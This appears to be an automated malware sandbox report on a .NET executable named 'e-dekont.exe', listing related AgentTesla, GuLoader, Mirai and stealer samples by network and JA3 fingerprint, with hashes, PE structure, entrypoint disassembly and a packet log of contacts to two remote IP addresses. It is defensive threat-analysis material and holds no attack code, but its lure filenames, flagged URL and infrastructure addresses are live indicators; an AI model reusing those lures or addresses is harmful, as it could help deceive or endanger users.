CLOUDFLARENETUS	New Order .doc	Get hash	malicious	Unknown	Browse	172.67.134.136
	orden de compra.vbs	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	DHL Shipping doc.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	Reconfirm Details.vbs	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	Remittance-Advice.doc	Get hash	malicious	Unknown	Browse	172.67.175.222
	shipping docs.doc	Get hash	malicious	Unknown	Browse	104.21.74.191
	Invoice.doc	Get hash	malicious	AgentTesla	Browse	172.67.134.136
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.152.117
	purchase order pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	PO 23JC0704-Rollease-B.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
ORACLE-BMC-31898US	SecuriteInfo.com.Trojan.MSIL.zgRAT.Heur.21652.15881.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	192.29.11.142
	Remittance. #U0440df.html	Get hash	malicious	HTMLPhisher	Browse	193.122.130.38
	ATTHACHED SCAN-P.O SPECIFICATIONS.009.24. 001.doc	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	pGTQLD9ukH.elf	Get hash	malicious	Mirai	Browse	193.122.239.120
	pJNcZyhUh8.elf	Get hash	malicious	Mirai	Browse	193.122.239.110
	g2PqnVy6cQ.elf	Get hash	malicious	Mirai, Okiru	Browse	144.25.156.10
	b3astmode.x86.elf	Get hash	malicious	Unknown	Browse	168.138.235.164
	order.exe	Get hash	malicious	Unknown	Browse	158.101.44.242
	KSRRrEMt1w.elf	Get hash	malicious	Mirai	Browse	147.154.227.149
	4QuhksnsA6.elf	Get hash	malicious	Unknown	Browse	130.61.64.122
CLOUDFLARENETUS	New Order .doc	Get hash	malicious	Unknown	Browse	172.67.134.136
	orden de compra.vbs	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	DHL Shipping doc.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	Reconfirm Details.vbs	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	Remittance-Advice.doc	Get hash	malicious	Unknown	Browse	172.67.175.222
	shipping docs.doc	Get hash	malicious	Unknown	Browse	104.21.74.191
	Invoice.doc	Get hash	malicious	AgentTesla	Browse	172.67.134.136
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.152.117
	purchase order pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	PO 23JC0704-Rollease-B.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	SecuriteInfo.com.Win64.TrojanX-gen.11161.10776.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	104.21.67.152
	https://docs.google.com/presentation/d/e/2PACX-1vTSXaY7ubI0TsmtDZGhnfi1zhnSxguMyu2LhG-ysNsdY7OPzg5AMGaTqcxwu9_JVEAMwiEcyOI9wHoz/pub?start=false&loop=false&delayms=3000&slide=id.p	Get hash	malicious	Unknown	Browse	104.21.67.152
	hRsK5gPX8l.exe	Get hash	malicious	Xehook Stealer	Browse	104.21.67.152
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	104.21.67.152
	T1SEuO2fxi.exe	Get hash	malicious	Xehook Stealer	Browse	104.21.67.152
	SecuriteInfo.com.Program.Unwanted.5412.9308.3353.exe	Get hash	malicious	PureLog Stealer	Browse	104.21.67.152
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	104.21.67.152
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	104.21.67.152
	M0uVrW4HJb.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	104.21.67.152
	Hj8wbvoT1k.exe	Get hash	malicious	Xehook Stealer	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	DAIKIN AC SPAIN 2024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.27.85
	transferencia.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.27.85
	1000901 LIQUIDACION.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.27.85
	Zapytanie ofertowe (7427-23 ROCKFIN).vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.27.85
	Factura240413227178.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.27.85
	JUSTIFICANTE DE PAGO.vbs	Get hash	malicious	Unknown	Browse	104.21.27.85
	JUSTIFICANTE DE PAGO.vbs	Get hash	malicious	Unknown	Browse	104.21.27.85
	orden de compra.vbs	Get hash	malicious	AgentTesla	Browse	104.21.27.85
	FT. 40FE CNY .xlsx.lnk	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	104.21.27.85
	DHL Shipping doc.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.21.27.85

Process:	C:\Users\user\Desktop\e-dekont.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	5.352427679901606
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPE4KMRuAE4KzecKIE4oKNzKorE4x84j:MIHK5HKH1qHiYHKh3oPHKMRuAHKzectP
MD5:	3978978DE913FD1C068312697D6E5917
SHA1:	1DABBE7FB8F38F6EBF474CE5F0ECAA89F48E2538
SHA-256:	33B7B1668DDD3AB39711F9F93B667F6F2F674348A79228BFA163BA625B37F120
SHA-512:	78694B97F5D03758F503155E5CE5B85AABDF9690F0DFBC51FCE9926BE2D86BCF99E008659420F1E8489A7F6EA125F2776D4C6DC4B151566B529454512352953D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll"

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.306258701957308
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	e-dekont.exe
File size:	854'528 bytes
MD5:	ff53d6a04ea8618890f7a81e31bd8a22
SHA1:	d804959bcb8a2ea43278a1f78aac8abede4fa62f
SHA256:	5f8e6d5fd79a5a648e42597881ddf5e418be34a81b678b9742fad39d6b74c298
SHA512:	fb1830954a5568b13448fc3326a66b7730081cc432aeca6de3cefde5b3ee7f44a9fe95c8d8ec53bbd293be3f931f0dcc890bf3c612593d07d897c6939cddce45
SSDEEP:	12288:WUF9WM9gnUHf/6JCh+bLNftlDcaxlCcjbAf:WU2M9gUHf/6tLTlYklCQbA
TLSH:	9E055DD1F1908C9AEC6B45F1BD2BA53024A7BE9C54A4810C569DBB1B76F3342209FE0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..z..........^.... ........@.. .......................`............@................................

File Icon


Icon Hash:	aea4accc16a3d9be

Static PE Info

General

Entrypoint:	0x48985e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xFFD1EFAD [Sun Jan 3 07:54:21 2106 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
xor al, 47h
inc ecx
inc edi
dec eax
inc ebp
xor eax, 484E3531h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], dh
push esp
xor eax, 43433753h
xor al, 52h
cmp byte ptr [00000000h], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8980b	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8a000	0x48a9c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x87f54	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x87884	0x87a00	609fa1264cead6e51821cae68d6406cb	False	0.956534418202765	data	7.955212716673103	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x8a000	0x48a9c	0x48c00	7bcb8306eac410c29277665bf1a7daa8	False	0.06319802405498282	data	4.771389778446598	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd4000	0xc	0x200	9c9f291ae09cb1d0c331ef9ed0a8f644	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x8a2e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	0.1798780487804878
RT_ICON	0x8a948	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.2513440860215054
RT_ICON	0x8ac30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.3918918918918919
RT_ICON	0x8ad58	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.3200959488272921
RT_ICON	0x8bc00	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.33664259927797835
RT_ICON	0x8c4a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.2622832369942196
RT_ICON	0x8ca10	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 0	0.04393141403083114
RT_ICON	0xcea38	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.18786307053941909
RT_ICON	0xd0fe0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.2453095684803002
RT_ICON	0xd2088	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.3484042553191489
RT_GROUP_ICON	0xd24f0	0x92	data	0.5753424657534246
RT_VERSION	0xd2584	0x32c	data	0.4273399014778325
RT_MANIFEST	0xd28b0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 07:09:07.181435108 CEST	49732	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:07.348988056 CEST	80	49732	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:07.349075079 CEST	49732	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:07.349437952 CEST	49732	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:07.513376951 CEST	80	49732	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:07.515300989 CEST	80	49732	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:07.519253016 CEST	49732	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:07.691046953 CEST	80	49732	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:07.740633965 CEST	49732	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:07.886545897 CEST	49734	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:07.886574984 CEST	443	49734	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:07.887192965 CEST	49734	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:07.894962072 CEST	49734	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:07.894974947 CEST	443	49734	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:08.229801893 CEST	443	49734	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:08.232961893 CEST	49734	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:08.244965076 CEST	49734	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:08.244991064 CEST	443	49734	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:08.245368958 CEST	443	49734	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:08.287621975 CEST	49734	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:08.311156034 CEST	49734	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:08.352121115 CEST	443	49734	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:08.847448111 CEST	443	49734	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:08.847589970 CEST	443	49734	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:08.847632885 CEST	49734	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:08.866211891 CEST	49734	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:08.871567011 CEST	49732	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:09.037977934 CEST	80	49732	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:09.041785955 CEST	49735	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:09.041887045 CEST	443	49735	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:09.041963100 CEST	49735	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:09.042432070 CEST	49735	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:09.042459965 CEST	443	49735	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:09.084398985 CEST	49732	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:09.372801065 CEST	443	49735	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:09.374727964 CEST	49735	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:09.374758959 CEST	443	49735	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:09.747499943 CEST	443	49735	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:09.747607946 CEST	443	49735	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:09.747652054 CEST	49735	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:09.748295069 CEST	49735	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:09.752094030 CEST	49732	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:09.753326893 CEST	49737	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:09.916090012 CEST	80	49732	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:09.916142941 CEST	49732	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:09.917572975 CEST	80	49737	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:09.917645931 CEST	49737	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:09.917876959 CEST	49737	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:10.082098007 CEST	80	49737	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:10.082788944 CEST	80	49737	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:10.084484100 CEST	49738	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:10.084511995 CEST	443	49738	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:10.084623098 CEST	49738	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:10.084938049 CEST	49738	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:10.084950924 CEST	443	49738	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:10.131299973 CEST	49737	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:10.413770914 CEST	443	49738	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:10.415558100 CEST	49738	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:10.415592909 CEST	443	49738	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:10.786665916 CEST	443	49738	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:10.786839962 CEST	443	49738	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:10.787632942 CEST	49738	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:10.787633896 CEST	49738	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:10.791691065 CEST	49737	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:10.792675972 CEST	49740	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:10.956135988 CEST	80	49737	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:10.956306934 CEST	49737	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:10.956944942 CEST	80	49740	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:10.959470034 CEST	49740	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:10.959810972 CEST	49740	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:11.124114990 CEST	80	49740	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:11.125665903 CEST	80	49740	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:11.127293110 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:11.127391100 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:11.127475977 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:11.127811909 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:11.127840042 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:11.178191900 CEST	49740	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:11.455333948 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:11.457071066 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:11.457154989 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:11.826581001 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:11.826668024 CEST	443	49741	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:11.826756001 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:11.827299118 CEST	49741	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:11.833800077 CEST	49740	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:11.835185051 CEST	49742	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:11.998984098 CEST	80	49740	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:11.999138117 CEST	80	49742	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:11.999167919 CEST	49740	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:11.999222040 CEST	49742	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:11.999416113 CEST	49742	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:12.164443970 CEST	80	49742	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:12.165287971 CEST	80	49742	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:12.167532921 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:12.167609930 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:12.167697906 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:12.168123007 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:12.168135881 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:12.209410906 CEST	49742	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:12.497675896 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:12.499608994 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:12.499692917 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:12.872498989 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:12.872689009 CEST	443	49743	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:12.872860909 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:12.873217106 CEST	49743	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:12.877624989 CEST	49744	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:13.042012930 CEST	80	49744	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:13.042113066 CEST	49744	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:13.042287111 CEST	49744	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:13.206815004 CEST	80	49744	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:13.208477020 CEST	80	49744	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:13.210316896 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:13.210386992 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:13.210639000 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:13.210979939 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:13.210989952 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:13.256279945 CEST	49744	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:13.539303064 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:13.540940046 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:13.540977001 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:13.914659977 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:13.914787054 CEST	443	49745	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:13.914876938 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:13.915555000 CEST	49745	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:13.920217037 CEST	49744	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:13.921036959 CEST	49746	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:14.084724903 CEST	80	49744	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:14.084800005 CEST	49744	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:14.085303068 CEST	80	49746	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:14.085603952 CEST	49746	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:14.085747957 CEST	49746	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:14.250020981 CEST	80	49746	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:14.252933025 CEST	80	49746	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:14.254331112 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:14.254371881 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:14.254473925 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:14.254770041 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:14.254782915 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:14.303154945 CEST	49746	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:14.584980011 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:14.586755037 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:14.586780071 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:14.961443901 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:14.961637974 CEST	443	49747	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:14.961741924 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:14.962579012 CEST	49747	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:14.966087103 CEST	49746	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:14.967263937 CEST	49748	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:15.130462885 CEST	80	49746	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:15.130563974 CEST	49746	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:15.131180048 CEST	80	49748	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:15.131278038 CEST	49748	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:15.131479025 CEST	49748	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:15.297847986 CEST	80	49748	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:15.298448086 CEST	80	49748	158.101.44.242	192.168.2.4
Apr 24, 2024 07:09:15.299932003 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:15.299978971 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:15.300173044 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:15.300506115 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:15.300520897 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:15.350039005 CEST	49748	80	192.168.2.4	158.101.44.242
Apr 24, 2024 07:09:15.632071018 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:15.633814096 CEST	49749	443	192.168.2.4	104.21.67.152
Apr 24, 2024 07:09:15.633832932 CEST	443	49749	104.21.67.152	192.168.2.4
Apr 24, 2024 07:09:16.011205912 CEST	443	49749	104.21.67.152	192.168.2.4
